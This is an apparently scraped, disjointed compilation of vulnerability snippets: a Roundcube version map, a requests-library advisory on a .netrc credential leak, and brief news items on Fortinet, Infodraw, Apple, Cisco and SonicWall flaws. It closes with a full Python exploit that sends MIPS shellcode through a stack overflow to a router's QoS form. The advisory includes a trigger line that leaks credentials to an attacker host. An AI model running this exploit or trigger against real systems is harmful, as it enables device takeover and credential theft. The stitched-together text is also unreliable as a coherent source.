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This template looks at the HTML body for the rcversion value and then matches on vulnerable versions. Here is a mapping of the RAW HTML value and version mapping for Roundcube:

• 10502 1.5.2
• 10601 1.6.1
• 10506 1.5.6
• 10500 1.5.0
• 10609 1.6.9
• 10611 1.6.11
• 10510 1.5.10
• 10505 1.5.5
• 10503 1.5.3
• 10610 1.6.10
• 10509 1.5.9
• 10607 1.6.7
• 10602 1.6.2
• 10606 1.6.6
• 10605 1.6.5

More information.

The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials to third parties due to incorrect URL processing under specific conditions.

Issuing the following API call triggers the vulnerability:

requests.get('http://example.com:@evil.com/')

Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call.

The root cause is https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245

The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available. CVE-2024-47081 has been reserved by GitHub for this issue.

As a workaround, clients may explicitly specify the credentials used on every API call to disable .netrc access.

Risks

FortiOS, FortiProxy, and FortiSwitchManager are core components of Fortinet’s network security and management infrastructure, which provide firewalling, proxy services, and centralized switch management.

CVE-2025-22252 is a missing authentication vulnerability that allows an unauthenticated attacker with knowledge of an existing admin account to access the device as a valid admin. Exploitation of this flaw could grant attackers unauthorized control over network infrastructure, threatening confidentiality through data exposure, integrity via configuration tampering, and availability by disrupting critical services.

Description

CVE-2025-22252 is a missing authentication for critical function vulnerability in devices configured to use a remote TACACS+ server for authentication configured to use ASCII authentication. It may allow an attacker with knowledge of an existing admin account to access the device as a valid admin via an authentication bypass, potentially resulting in complete system compromise, data theft and service disruption.

Numerous law enforcement agencies worldwide have been affected by a zero-day exploit (path traversal) in reconnaissance software. This apparently also includes body cameras used by special forces, surveillance equipment, and police drones.

The „Media Relay Service (MRS)“ (web server) software for reconnaissance devices from the Israeli manufacturer Infodraw is affected by a serious security vulnerability (Path Traversal Vulnerability). Security experts from Mint Secure discovered the vulnerability and initially reported it to the manufacturer and – due to a lack of response – subsequently to operators and CERTs worldwide in order to rule out further risks and responsibly disclose the vulnerability. This blog post describes technical details, cases from various countries, and the approach behind the discovery. Recommendations for affected organizations are also provided.

Apple has released emergency security updates to patch a zero-day bug the company describes as exploited in "extremely sophisticated" attacks.

The vulnerability is tracked as CVE-2025-24201 and was found in the WebKit cross-platform web browser engine used by Apple's Safari web browser and many other apps and web browsers on macOS, iOS, Linux, and Windows.

French cybersecurity company Sekoia observed the unknown threat actors deploying a backdoor by leveraging CVE-2023-20118 (CVSS score: 6.5), a critical security flaw impacting Cisco Small Business RV016, RV042, RV042G, RV082, RV320, and RV325 Routers that could result in arbitrary command execution on susceptible devices.

CVE-2023-20118 is leading to a webshell installation.

Executive Summary

This report updates the findings on CVE-2025-24085, a use-after-free vulnerability affecting Apple's IDS subsystem and iMessage's BlastDoor sandboxing. Findings (As of February 20, 2025)

iOS 18.3.1 remains vulnerable despite Apple's February 19, 2025, mitigation deadline.
BlastDoor is bypassed, enabling unsandboxed iMessage processing.
Privilege escalation attempts detected, suggesting a possible kernel exploit.
Unauthorized decryption and authentication tampering observed, raising concerns about iMessage interception and data exposure.

The exploit remains active in the wild, requiring immediate action.

https://github.com/orgs/community/discussions/152523

Restricted Views backed objects (OSV1) could be bypassed under specific circumstances due to a software bug, this could have allowed users that didn't have permission to see such objects to view them via Object Explorer directly. The affected service have been patched and automatically deployed to all Apollo-managed Foundry instances.

Threat actors started exploiting a recent SonicWall firewall vulnerability this week, shortly after proof-of-concept (PoC) code targeting it was published.

According to Bishop Fox, approximately 4,500 internet-facing SonicWall SSL VPN servers had not been patched against CVE-2024-53704 by February 7.

from pwn import *  
from hackebds import *  


def shutdown_shell_code():  
    context.update(arch='mips', os='linux', bits=32, endian='little')  

    cmd = "/bin/sh"  
    args = ["autoreboot"]  

    asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()  
    shellcode = asm(asmcode)  
    return shellcode  


power_off_code = shutdown_shell_code()  

gap_code = (b'A') * 0x138

# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')  
stack_gap = (b'C') * 0x40  

print("power_off_code_length")  
print(len(power_off_code))  

final_code = power_off_code + gap_code + RET_address + stack_gap  

import socket  
import ssl  

# Server Address and Port  
HOST = '192.168.1.254'  
PORT = 443  

# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()  
context.set_ciphers('HIGH:!DH:!aNULL')  
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE  

with socket.create_connection((HOST, PORT)) as sock:  
    with context.wrap_socket(sock, server_hostname=HOST) as ssock:  
            # Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)

        # parameter for evade verification  
        send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code  

        # POST request headers 
        headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \  
                  b"Host: " + HOST.encode('utf-8') + b"\r\n" \  
                                                     b"Content-Type: application/octet-stream\r\n" \  
                                                     b"Content-Length: " + str(len(send_byte)).encode(  
            'utf-8') + b"\r\nConnection: close\r\n\r\n"  

        # Send request (combine headers and body)  
        ssock.send(headers + send_byte)  

        # Receive response  
        response = b""  
        while True:  
            data = ssock.recv(1024)  
            if not data:  
                break  
            response += data  

            #Print response  
        print(response.decode('utf-8'))